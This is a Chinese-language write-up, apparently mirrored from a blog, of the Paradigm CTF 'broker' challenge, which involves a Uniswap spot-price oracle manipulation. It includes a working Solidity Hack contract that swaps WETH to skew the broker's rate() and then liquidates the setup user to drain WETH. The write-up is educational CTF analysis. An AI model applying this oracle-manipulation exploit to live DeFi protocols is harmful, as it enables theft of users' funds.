4

Paradigm CTF- 银行家

 2 years ago
source link: https://learnblockchain.cn/article/2729
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Paradigm CTF- 银行家

本文是Paradigm CTF的broker系列,这个系列需要与Uniswap进行交互,调试OPCODE的时间会少一点,对DEFI生态的考察会更多一点。DEFI积木如何互相影响,是这个系列的一个考察点。

本文都是基于https://binarycake.ca/posts/paradigm-ctf-broker/这篇文章进行的分析,如有需要可以参考原文。

目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 🐟 。如果你觉得我写的还不错,可以加我的微信:woodward1993

broker.png

分析原文:

function isSolved() public view returns (bool) {
    return weth.balanceOf(address(broker)) < 5 ether;
}

从上可以看到,本题目解决的条件是最后broker的WETH的余额小于5ether。

作为一个broker合约,我们分析下它资金的流入,流出渠道:

函数名 流入\流出 要求 状态改变 rage() NA

r=R0​/R1​ safeDebt(address) NA

deposite∗r∗2/3 borrow(uint256) TOKEN流出 safeDebt>debt debt[msg.sender] += amount repay(uint256) TOKEN流入

debt[msg.sender] -= amount liquidate(address,uint256) TOKEN流入,WETH流出 safeDebt<=debt debt[user] -= amount; deposit(uint256) WETH流入

deposited[msg.sender] += amount; withdraw(uint256) WETH流出 safeDebt>debt deposited[msg.sender] -= amount

我们的目标是让WETH流出,可以看到有liquidate和withdarw两个渠道,liquidate看起来更容易出问题:

// repay a user's loan and get back their collateral. no discounts.
function liquidate(address user, uint256 amount) public returns (uint256) {
    require(safeDebt(user) <= debt[user], "err: overcollateralized");
    debt[user] -= amount;
    token.transferFrom(msg.sender, address(this), amount);
    uint256 collateralValueRepaid = amount / rate();
    weth.transfer(msg.sender, collateralValueRepaid);
    return collateralValueRepaid;
}

预言机攻击

简单看,我们可以操纵rate()比例,让liquidate时,rate()尽可能小,从而我们得到的WETH尽可能多。让rate()小,就需要让R0​尽可能小或者R1​尽可能大。结合remix可知,R0​是token,R1​是WETH。

image20210710200603638.png

这道题是一个简单的预言机攻击的POC,其中Uniswap的Pair合约是预言机唯一的价格来源,其提供了实时的资产价格rate().

正常情况是User在合约broker中存入(deposit)WETH, 获得一定的存款量,即deposited. 当用户决定贷款时(borrow),会根据实时Uniswap中TOKEN/WETH价格与存款量计算用户的最大贷款额度,safeDebt。当价格发生波动时,rate改变从而用户的safeDebt改变,导致某些用户出现safeDebt<debt的风险敞口,从而可以被外部用户liquidate. 当代为偿还User的债务时,即清算者会获得按照此时刻的资产价格对应的WETH数量。

在本合约中,最大的风险点在于其价格预言机,是Unisawp中Pair的实时价格。
image27.png

我们可以通过操纵短时间的Uniswap中的该Pair合约中的实时价格,从而可以清算其他用户的债务获利。
image32.png

故最简单的思路是借来足够多的WETH,在uniswap的Pair中交易,换取token,降低rate,然后清算setup用户的债务,获取WETH。

borrow(amountTOken) 
    -> debt增加 无法增加,因为是setup借的
Router02.swapExactTokensForTokens(amountWETHIn,amountTokenout,path,to,deadline) 
    -> r降低 -> safedebt降低
liquidate(user,amount) 
    -> 满足safeDebt <= debt条件
pragma solidity 0.8.0;
import "./Setup.sol";
interface Router {
	function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}
contract Hack {
	Router public router;
	Setup public setup;
	WETH9 public weth;
	IUniswapV2Pair public pair;
	Broker public broker;
	Token public token;
    
	uint256 constant DECIMALS = 1 ether;
	
	constructor(address _setup) public payable {
		setup = Setup(_setup);
		weth = WETH9(setup.weth());
		pair = IUniswapV2Pair(setup.pair());
		broker = Broker(setup.broker());
        token = Token(setup.token());
		router = Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
	}
	function exploit() public payable {
		uint amount_WETH = msg.value;
		//将本合约的ETH换成WETH
		weth.deposit{value: amount_WETH}();
		
		weth.approve(address(broker), type(uint256).max);
        weth.approve(address(router), type(uint256).max);
        token.approve(address(broker), type(uint256).max);
        token.approve(address(router), type(uint256).max);
		//调用router接口的swap方法,换成token
		address[] memory data = new address[](2);
		data[0] = address(weth);
		data[1] = address(token);
		uint[] memory amount_TOKEN = router.swapExactTokensForTokens(amount_WETH,0,data,address(this),(block.timestamp + 2 days));
		//调用broker合约的liquidate方法,收割user,要先approve一下TOKEN的使用量. 
        uint amount_liquidate = 21 ether * broker.rate();
		broker.liquidate(address(setup), amount_liquidate);
		//将TOKEN换回WETH,最后取出ETH => 这里liquidate代为偿还User的债务时,就消耗了一些TOKEN,故后续无法再通过交换拿到自己的原先的WETH 逻辑不成立了
        require(setup.isSolved(), "not solve");
		
	}
	function killself() public payable{
		selfdestruct(payable(tx.origin));
	}
	receive() external payable {}
    function attack() public payable {
        weth.deposit{value: msg.value}();
        
        weth.transfer(address(pair),weth.balanceOf(address(this)));
        bytes memory payload;
        pair.swap(msg.value,0,address(this),payload);
        uint256 rate = broker.rate();
        token.approve(address(broker),type(uint256).max);
        
        uint256 liqAmount = 21 ether * rate;
        broker.liquidate(address(setup), liqAmount);
        require(setup.isSolved(),"!solved");
    }
}

这里使用到了Uniswap router02合约中的swapExactTokensForTokens函数

function swapExactTokensForTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
    amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
    // log("amounts:",amounts);
    require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
    TransferHelper.safeTransferFrom(
        path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
    );
    _swap(amounts, path, to);
}

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK